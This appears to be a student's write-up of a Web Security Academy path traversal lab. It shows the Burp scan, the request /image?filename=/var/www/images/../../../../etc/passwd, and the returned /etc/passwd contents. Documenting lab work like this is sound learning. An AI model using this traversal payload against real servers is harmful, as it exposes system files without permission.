

Path Traversal Mystery Lab

- First I start by opening the lab in a burp browser
- I then scanned the first GET Request to see if I could find any hidden paths:

19:01:39 7 Au... https://0a2200e20374a404807... GET 200 /

- I noticed that the /image endpoint led to a filename path:

# ^	Time	Tool	Method	Host	Path	Query	Param
70950	19:12:41 7 Aug 2025	Scanner	GET	0a2200e20374a404807...	/image	filename=/var/www/ima...	2
70951	19:12:41 7 Aug 2025	Scanner	GET	0a2200e20374a404807...	/image	filename=/var/www/ima...	2
70952	19:12:41 7 Aug 2025	Scanner	GET	0a2200e20374a404807...	/academyLabHeader		1
70953	19:12:41 7 Aug 2025	Scanner	GET	0a2200e20374a404807...	/image	filename=/var/www/ima...	2
70954	19:12:41 7 Aug 2025	Scanner	GET	0a2200e20374a404807...	/image	filename=/var/www/ima...	2
70955	19:12:41 7 Aug 2025	Scanner	GET	0a2200e20374a404807...	/academyLabHeader		1
70956	19:12:41 7 Aug 2025	Scanner	GET	0a2200e20374a404807...	/academyLabHeader		1
70957	19:12:41 7 Aug 2025	Scanner	GET	0a2200e20374a404807...	/image	filename=/var/www/ima...	2
70958	19:12:41 7 Aug 2025	Scanner	GET	0a2200e20374a404807...	/image	filename=/var/www/ima...	2
70959	19:12:41 7 Aug 2025	Scanner	GET	0a2200e20374a404807...	/image	filename=/var/www/ima...	2
70960	19:12:41 7 Aug 2025	Scanner	GET	0a2200e20374a404807...	/image	filename=/var/www/ima...	2

- So I sent one of these GET requests to the repeater and begin to test to see if I could get to the /etc/passwd file by moving directories within the given path:

Send

Cancel

<

>

Request

Pretty

Raw

Hex

1

GET /image?filename=/var/www/images/../../../../etc/passwd HTTP/2

2

Host: 0a2200e20374a40480733ad200ba00cd.web-security-academy.net

3

Cache-Control: max-age=0

4

Sec-Ch-Ua: "Google Chrome";v="138", "Not=A?Brand";v="8", "Chromium";v="138"

5

Sec-Ch-Ua-Mobile: ?0

6

Sec-Ch-Ua-Platform: "Linux"

7

Accept-Language: en-US;q=0.9,en;q=0.8

8

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36

9

Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8

10

Sec-Fetch-Site: none

11

Sec-Fetch-Mode: navigate

12

Sec-Fetch-User: ?1

13

Sec-Fetch-Dest: document

14

Accept-Encoding: gzip, deflate, br

15

Cookie: session=XiCe7bjGycLGChgog5KIWGlWFf9oixch

16

Referer: https://0a2200e20374a40480733ad200ba00cd.web-security-academy.net/

17

18

- Then I sent the request and got to the /etc/passwd file:

```

Response
Pretty Raw Hex Render
1 HTTP/2 200 OK
2 Content-Type: image/jpeg
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 2316
5
6 root:x:0:0:root:/root:/bin/bash
7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
8 bin:x:2:2:bin:/bin:/usr/sbin/nologin
9 sys:x:3:3:sys:/dev:/usr/sbin/nologin
10 sync:x:4:65534:sync:/bin:/bin/sync
11 games:x:5:60:games:/usr/games:/usr/sbin/nologin
12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
17 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
18 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
19 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
20 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
21 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
22 gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
23 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
24 _apt:x:100:65534:./nonexistent:/usr/sbin/nologin
25 peter:x:12001:12001:./home/peter:/bin/bash
26 carlos:x:12002:12002:./home/carlos:/bin/bash
27 user:x:12000:12000:./home/user:/bin/bash
28 elmer:x:12099:12099:./home/elmer:/bin/bash
29 academy:x:10000:10000:./academy:/bin/bash

```

- Why might attackers want to access the /etc/passwd file? It contains basic user attributes, so when you add a user via the mkuser cmd, this file is updated.